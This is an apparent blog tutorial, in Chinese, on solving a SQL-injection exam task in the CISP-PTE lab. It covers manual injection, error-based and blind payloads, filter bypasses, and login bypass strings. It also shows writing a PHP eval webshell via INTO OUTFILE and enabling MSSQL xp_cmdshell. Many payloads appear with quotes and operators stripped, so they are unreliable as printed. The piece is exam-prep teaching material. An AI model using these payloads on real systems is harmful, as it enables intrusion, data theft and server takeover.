CISP-PTE第10题SQL注入实战:从注入点识别到GetShell全解析
发布时间:2026/10/2 8:22:06来源:尧图网络
1. 为什么第10题是CISP-PTE的分水岭考题考过CISP-PTE的人都懂一个规律前面的选择判断题是热身实操题从SQL注入开始进入状态而第10题往往是整个SQL注入模块里最能区分背过题库和真会注入的一道题。我第一次考的时候前9题基本顺风顺水到第10题卡了将近四十分钟最后虽然过了但那个过程印象极深——不是题目有多偏而是它把SQL注入的几种变形、过滤绕过和利用手法揉到了一起光会跑sqlmap根本拿不下来。先说清楚CISP-PTE的定位它是注册信息安全专业人员-渗透测试方向认证考试核心就是实操。整个考试环境是一个封闭的虚拟化靶场你在里面能用浏览器、Burp Suite、sqlmap这些常规渗透工具但没有任何互联网访问权限也不能带自己的工具包进去。这意味着所有利用思路、字典、脚本都得靠平时积累现场现写也行但时间成本很高。SQL注入在考试里大概占10到15分的比重通常分布在好几道题里第10题这种编号靠后的题目综合度明显高于前面的基础题。很多人在备考时走入一个误区觉得SQL注入嘛sqlmap一把梭就行。考试环境确实允许用sqlmap我甚至见过有人直接sqlmap -u http://target/xxx?id1 --batch --dbs跑出来的但第10题往往会在中间环节设置障碍——要么是WAF类过滤规则要么是参数经过二次编码要么是后台逻辑做了白名单校验。这时候sqlmap的默认Payload反而容易被拦手工注入的能力就成了解题的关键。从我自己的备考经验来看第10题更适合被当作一个综合实践题来对待。它不会只考单一知识点而是把常见的注入场景串起来。备考时如果你能完整地走通信息收集→注入点判断→注入类型确认→数据提取→权限提升→GetShell这条链路那这一题对你来说就是送分题。这篇文章我就按照实际考试时的思考链路把每一步的实操细节、判断依据和踩坑点拆开讲希望能帮正在备考的人少走弯路。2. 考试环境与工具选型哪些东西能带进考场哪些必须临时写2.1 考场网络拓扑和靶机特性CISP-PTE的实操环境是这样的你通过一台考试机通常是Windows系统访问靶场内网考试机上有浏览器、Burp Suite、sqlmap、Nmap、中国菜刀/蚁剑等常用工具有的考场还预装了HackBar之类的浏览器插件。靶机一般模拟的是真实业务系统操作系统可能是Linux也可能是WindowsWeb中间件常见的有Apache、Nginx、Tomcat、IIS数据库则有MySQL、MSSQL、Oracle几种可能。第10题的靶机特性从我考过和听到的版本来看几个高频特征值得留意后台登录页面存在SQL注入但登录接口做了简单的参数过滤主站查询接口能注入但返回内容被截断或过滤了特殊字符数据库账号权限不是rootMySQL或saMSSQL需要先提权才能读文件站库分离Web服务器和数据库服务器不在同一台机器文件读写利用链更长。这些特征决定了你不能一上来就无脑跑工具得先摸清环境。2.2 工具分工Burp Suite为主sqlmap为辅我个人在考试里的习惯是Burp Suite打主sqlmap做验证和扩展。原因很简单第10题这种综合性注入题人工确认注入点和注入类型是第一步盲目的自动化爆破反而容易触发过滤机制把本来可以绕过的路径堵死。具体分工可以参考这个思路工具使用场景注意点Burp Suite抓包分析、手动修改Payload、重放测试注意编码转换、Cookie注入点sqlmap快速验证注入类型、跑数据字典需要用--tamper配合绕过脚本HackBar / 浏览器F12快速构造GET/POST请求适合快速判断闭合方式和列数蚁剑/菜刀拿到文件上传权限后的连接管理考试环境一般允许使用这里特别提醒一点考试机上的Burp Suite往往没有配置上游代理你需要自己确认浏览器流量是否走代理。别在抓包环节浪费太多时间我见过有人卡在为什么Burp收不到包其实就是忘了设置浏览器代理或者没关系统代理。2.3 临时编写的辅助脚本虽然考场允许用工具但有些环节工具反而低效。比如盲注的数据提取如果你用sqlmap跑太慢或者被拦临时写一个Python脚本做二分法布尔盲注效率会高很多。考试机上有没有Python环境要看考场配置有的有有的没有。稳妥的做法是平时就练熟一套不依赖第三方库的注入脚本用requests和re就能完成到了考场就算没有现成环境也能快速手写。还有一点关于字典考场不让带自己的字典文件但系统里可能会有一些基础字典比如SQLMap自带的/usr/share/sqlmap/data下的txt文件。第10题如果需要爆破表名或列名可以用sqlmap内置字典前提是你知道怎么调用。这个细节很多人考完才反应过来。3. 信息收集与注入点识别别急着上Payload先搞清楚业务逻辑3.1 从URL参数到Cookie参数的全面排查第10题的第一关往往是找到真正的注入点。表面上的?id参数可能只是摆设真正存在注入的地方反而在Cookie里、在登录表单的隐藏字段里或者在一个看似无关的搜索框里。我备考时反复练习的一个习惯是拿到一个站点后不急着测注入先把所有入口点列出来。对于一个典型的考试靶机入口点通常包括前台页面URL参数?id、?page、?cat等搜索框POST参数登录表单用户名、密码字段Cookie中的会话标识或用户偏好参数某些接口的JSON/XML数据字段。逐一记录这些入口点之后再按优先级测试注入。第10题常用的坑就是把注入点藏在Cookie里因为很多人的扫描习惯只关注URL参数。我印象里有个模拟题就是Cookie: useradmin这个值存在字符型注入直接用浏览器改Cookie就能进后台但一直盯着?id的人死活找不到突破口。3.2 用经典的和报错快速判断闭合方式找到候选注入点后判断闭合方式的核心就是试探。最基础的做法是在参数值后面加单引号看页面是否报错、报错信息里是否包含SQL片段。比如输入?id1后页面回显You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 1 LIMIT 0,1那就基本确定是字符型注入闭合方式是单引号。第10题常见的闭合方式有这么几种数字型id1直接拼接不需要闭合符单引号字符型WHERE name$input双引号字符型WHERE name$input带括号的WHERE id($input)或WHERE name($input)需要补右括号带注释符的需要把后面的SQL语句注释掉常见用--、#、--注意--后面有空格。判断闭合方式时我的一个经验如果报错信息被过滤或者不显示不要慌用条件真/假来观察页面差异也能判断闭合。比如输入?id1 AND 11页面正常?id1 AND 12页面异常那说明闭合成立且AND后面的逻辑生效了。3.3 列数探测与显示位定位ORDER BY和UNION SELECT的配合确认闭合方式后下一步是确定查询结果的列数这是联合查询注入的基础。用ORDER BY n逐个试从小到大。比如?id1 ORDER BY 3--正常?id1 ORDER BY 4--报错说明该查询有3列。这里有个细节有些题目会限制返回数据的条数或者查询结果固定只显示一行。你用ORDER BY探测列数时就算参数值改成不存在的值比如id-1返回结果集为空ORDER BY依然有效。我习惯把id1改成id-1来制造空结果这样后面跟UNION SELECT时联合查询的结果能直接显示出来。确定列数后找到显示位。用UNION SELECT 1,2,3假设3列看页面渲染出来的是哪几个数字。如果只显示2和3说明第1列不在页面上回显那么数据提取就要利用第2、第3位。第10题经常考的一个点就在这里数据不一定在前台页面回显可能在后台、可能在响应头、也可能在注释里。这时候配合Burp的响应包检查别只看浏览器渲染。4. 注入类型的判断与绕过滤的实战链路从报错注入到盲注4.1 联合查询能通就优先联合查询但第10题往往不那么顺利联合查询注入是最舒服的利用方式因为它直接高效。把数据在页面上显示出来不用猜不用试。但第10题如果出得狠一点会在联合查询这条路上卡你UNION关键字被过滤SELECT关键字被过滤逗号被过滤空格被注释符替代后失效页面把多行结果合并显示看不到联合查询的第二条记录。遇到这些情况我的判断顺序是这样的先试大小写、内联注释绕过UnIoN SeLeCt、/*!UNION*/不行就转报错注入再不行就转盲注。第10题一般不会把所有路都堵死但你要快速判断哪条路是通的别在一棵树上吊死。4.2 报错注入的效率优势updatexml、extractvalue和floor报错当联合查询被过滤时报错注入是效率最高的选择。MySQL环境下第10题最常见的两个函数是updatexml和extractvalue。它们的原理是利用XML处理函数的报错信息回显我们的输入数据。updatexml的报错注入格式是 AND updatexml(1,concat(0x7e,(select user()),0x7e),1)--extractvalue的格式是 AND extractvalue(1,concat(0x7e,(select user()),0x7e))--注意报错信息的长度限制这两个函数回显的内容长度一般不超过32个字符超过会被截断。所以提取较长的数据时需要用substr配合循环。比如 AND extractvalue(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schemadatabase()),1,31),0x7e))--报错注入的优势是每一步的反馈都很明确不用猜真假。第10题如果当前数据库用户有报错信息权限大部分靶机都有这条路比盲注快得多。但如果目标数据库是MSSQL报错注入的方式就不同了。MSSQL下常用的是convert函数报错; declare s varchar(999); set s; select ssname, from sysobjects where xtypeU; convert(int,s);--或者更简单的and 1convert(int,(select top 1 name from sysobjects where xtypeU))--。4.3 过滤绕过的方式第10题最爱考的字符置换第10题在过滤这块经常做文章。常见过滤规则有过滤and、or、union、select等关键字过滤、空格、、--等特殊字符过滤逗号关键字大小写混合后自动转小写双写绕过selselectect有效注释符过滤。我整理过一个绕过矩阵考试时照着试能省很多时间过滤类型绕过思路示例关键词过滤大小写混写uNiOn SeLeCt关键词过滤内联注释/*!UNION*/关键词过滤双写ununionion空格过滤注释符替代/**/空格过滤制表符/换行%09、%0a引号过滤十六进制编码0x75736572等号过滤LIKE替代id LIKE 1逗号过滤join替代union select * from (select 1)a join (select 2)b这里要特别提一下注释符的问题。MySQL的#在URL中要编码为%23--双减号加空格在URL里空格要编码为%20或。很多人本地测试没问题一放到Burp里就报错就是因为URL编码没处理好。第10题的靶机如果用的是POST请求数据在请求体里编码方式又不一样。4.4 布尔盲注和时间盲注第10题的最后防线如果报错信息完全不可见比如页面统一返回系统错误那就只能上盲注。布尔盲注的核心是构造一个返回真假结果差异明显的语句通过页面的内容变化来判断条件 AND (SELECT ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1)))100--如果页面正常说明条件成立如果页面异常/空内容说明条件不成立。逐字符二分效率虽然低但可靠。时间盲注则是通过响应时间差异来判断 AND If(ascii(substr((select database()),1,1))100,0,sleep(3))--第10题用盲注的情况比较少见因为考试时间有限但如果真遇上务必先花时间写一个自动化脚本别手工一个一个试。我之前写过一个极简版Python盲注脚本核心逻辑就是二分法请求超时判断代码不到五十行。平时多练练这个脚本考试时能救急。5. 从数据提取到权限提升第10题真正拉开差距的环节5.1 获取当前数据库与当前用户判断权限底线注入点确认并打通后第一步永远是确认两件事当前用的是哪个数据库当前用户是什么权限。SELECT database(); -- 当前数据库 SELECT user(); -- 当前用户 SELECT version(); -- 数据库版本 SELECT hostname; -- 主机名 SELECT datadir; -- 数据目录可用于后续文件读写如果当前用户是rootMySQL那后面的路就宽了。如果是普通用户就要先看看能不能通过information_schema读到表数据。第10题常见的设局就是数据库账号给了select权限能查数据但into outfile写文件、load_file读文件的权限被限制这时候GetShell就得另寻他路。MSSQL环境下的权限判断略有不同主要关注IS_SRVROLEMEMBER(sysadmin)的返回值。如果当前账号是sysadmin直接执行xp_cmdshell就是最高权限不是的话可能需要先通过sp_addsrvrolemember提权。5.2 information_schema查库表字段一套固定的SQL模板无论数据库类型是什么查库表字段的思路大同小异。MySQL下的标准流程-- 查所有数据库 SELECT group_concat(schema_name) FROM information_schema.schemata; -- 查当前库的所有表 SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schemadatabase(); -- 查某张表的所有字段 SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schemadatabase() AND table_nameadmin;在联合查询注入里这些语句直接拼在UNION SELECT后面。在报错注入里用concat包裹。在盲注里用substr逐字符取。第10题的数据提取往往不会直接让你看到用户名密码明文它可能对密码做了MD5加密需要你识别出密文后去对比把flag放在另一个库的其他表里需要先枚举所有库名数据在MSSQL的sys.databases里查询语法不同。所以不要只盯着当前库第一步就把所有库名拉出来看看flag很可能放在一个看着不起眼的库名里。5.3 MySQL文件读写与GetShell的利用链如果第10题的目标是拿到Webshell那需要考虑文件读写。MySQL下的核心条件有三个secure_file_priv参数允许读写为空或指定目录当前数据库用户有FILE权限知道Web根目录的绝对路径。判断secure_file_priv的值SHOW VARIABLES LIKE secure_file_priv;如果值为空或者NULLMySQL 5.5默认是NULL限制较多读写的路径就受限。但很多考试靶机为了让题目可解通常会把secure_file_priv设为空字符串或者指定到/var/www/html之类的Web目录。读文件的语句SELECT LOAD_FILE(/var/www/html/index.php);写文件的语句SELECT ?php eval($_POST[cmd]);? INTO OUTFILE /var/www/html/shell.php;这里有几个实操细节非常重要INTO OUTFILE要求目标文件路径是全局可写的而且文件不能已存在如果写不了可以试试INTO DUMPFILEDUMPFILE不会加换行适合写二进制或一句话木马写Shell时注意引号转义在注入语句里嵌套单引号很容易出错推荐用0x十六进制编码字符串来写避免引号冲突。第10题里如果查询结果能回显文件内容说明能读文件如果页面不显示内容可以结合报错注入把文件内容回显出来。另外还有个技巧先读/etc/passwd判断系统用户名再读Web配置文件如/etc/nginx/sites-enabled/default或/var/www/html/.htaccess找Web根目录。5.4 MSSQL下的GetShellxp_cmdshell与差异如果第10题是MSSQL环境GetShell的思路完全不同。核心是利用xp_cmdshell执行系统命令但很多目标默认关闭了这个存储过程。开启的办法EXEC sp_configure show advanced options, 1; RECONFIGURE; EXEC sp_configure xp_cmdshell, 1; RECONFIGURE;然后用EXEC xp_cmdshell whoami;如果xp_cmdshell被直接禁用且无法开启可以试试sp_oacreate调用COM组件的方式写文件EXEC sp_oacreate wscript.shell,out out; EXEC sp_oamethod out,run,NULL,cmd /c whoami C:\temp\test.txt;MSSQL GetShell的利用难度比MySQL稍高因为它依赖的系统权限和组件激活情况比较复杂。如果考试真遇到MSSQL的题第10题大概率不是让你GetShell而是停留在数据提取层面。当然这也看具体题目备考时把两种数据库的命令都练熟考试才不慌。6. 第10题经典的登录绕过变形万能密码与逻辑漏洞的组合6.1 万能密码的三种常见形态第10题考登录绕过是高频套路。后台登录表单存在SQL注入时万能密码的形态一般有三种第一种最简单也最经典的or11--等价于SELECT * FROM admin WHERE username OR 11-- AND passwordxxx因为--把后面的密码校验部分注释掉了条件恒真直接以第一个用户身份登录。第二种利用恒真条件但不依赖注释符admin OR 11#第三种针对MSSQL/其他数据库的 OR 11--第10题如果出了登录绕过这些简单Payload往往会被过滤。常见的过滤手段是把单引号转义、过滤OR/AND关键字、限制输入长度。这时候就需要绕过变体。6.2 从万能密码到数据提取登录接口注入的升级利用单纯绕过登录只能进后台如果第10题的要求是拿到后台里的敏感数据你还需要利用登录接口的注入点做数据提取。这里的关键是登录接口的参数往往是字符串拼接进查询的同样可以走联合查询或报错注入。比如用户名处输入admin UNION SELECT 1,2,3,4--如果后台查询的列数和显示位刚好对应你就能把数据库数据直接显示在登录成功后的页面上。很多人在这一步卡住是因为后台查询的列数不是你想的2列或3列需要先用ORDER BY测试然后调整UNION SELECT的列数。如果是报错注入环境用户名处可以直接执行admin AND extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),0x7e))--这就相当于把登录框变成了一个查询窗口效率很高。这也是为什么我建议平时练注入不要只练URL注入POST表单注入同样要熟练。7. 复盘第10题踩坑最多的五个环节7.1 坑点一把时间浪费在重新踩点上考场上时间是最宝贵的。我见过很多人第一道题没做出来就耗了很久第四十题都还没做就时间不够了。第10题如果卡住了先停下来想一个问题这个题想考的是哪个点是单纯注入还是注入绕过提权的综合题对照题目给的提示和靶机特征快速定位考点领域比盲目试Payload高效得多。我的习惯是每道题最多试三个方向都不通就说明思路偏了立刻换。7.2 坑点二忽略URL编码和请求格式本地测试时你用的是浏览器地址栏、用的是明文Payload但实际考试里你是在Burp里改包。同样的Payload在GET请求里和POST请求里的编码要求不同。比如#在URL里会被当作锚点必须编码成%23空格在POST包里可以直接用空格但在GET里最好编码成%20。第10题如果页面一直报500先检查你是不是忘了编码。7.3 坑点三看不到回显就以为没法注入很多注入点不回显数据但页面确实会根据条件变化。这时候就用盲注。我见过好几个人卡在页面没有数据输出所以觉得注入不成立实际上是布尔盲注的典型场景。怎么判断构造一个永远为真的条件和一个永远为假的条件对比两个请求的响应差异。有差异就是注入点而且是布尔型。7.4 坑点四只会GET注入不会POST注入第10题如果核心注入点在登录表单很多人就傻眼了。其实POST注入的原理和GET一模一样只是参数从URL挪到了请求体里。在Burp里把请求从GET改成POST把参数放进去测试流程完全一样。区别在于你在写Payload时不需要担心URL编码问题但要注意Content-Type和请求体格式是否被后端正确解析。7.5 坑点五提取数据时被长度限制截断报错注入的32字符限制、盲注的单字符提取这些都是数据提取时的隐形坑。第10题如果是报错注入场景你要提取的flag往往超过32字符必须用substr分段提取。我在考试时习惯先把所有表名列出来然后预估目标数据的长度分段提取。千万别图省事一把梭看到输出不完整就以为是题目出错了其实是长度限制。8. 我的备考建议与最后一题的心得说回CISP-PTE整体备考SQL注入部分想拿高分我的建议很直接别只依赖sqlmap把手工注入练成肌肉记忆。sqlmap能帮你解决的是标准环境下的注入但第10题这种综合性题目往往需要你在sqlmap的自动化和手工的灵活性之间切换。我备考时专门把DVWA、SQLi-Labs、Pikachu这几个靶场的SQL注入关卡从头到尾过了三遍以上每一关都逼自己先手工打通再用sqlmap验证一遍。这个过程练出来的判断力考场上比任何工具都管用。另外一个小建议平时练习的时候养成用Burp Suite抓包分析的习惯不要只在浏览器里测。CISP-PTE考试里Burp是你最重要的伙伴——改Cookie、看响应包、重放请求、处理编码全靠它。我用习惯了之后甚至能在Burp里直接做十六进制编码转换省了很多事。最后分享一下我在第10题上的个人体会这一题确实综合但它有一个很清晰的解题主线——找到注入点、判断注入类型、摸清环境、提取数据、找权限提升路径。只要每一步都走扎实它并没有想象中那么难。真正影响考生发挥的往往不是技术短板而是考场上慌了神、思路混乱。平时练的时候给自己规定时间模拟考试节奏真正上考场时你会发现自己比想象中稳得多。祝备考的朋友一次通过。
网站建设高端定制企业官网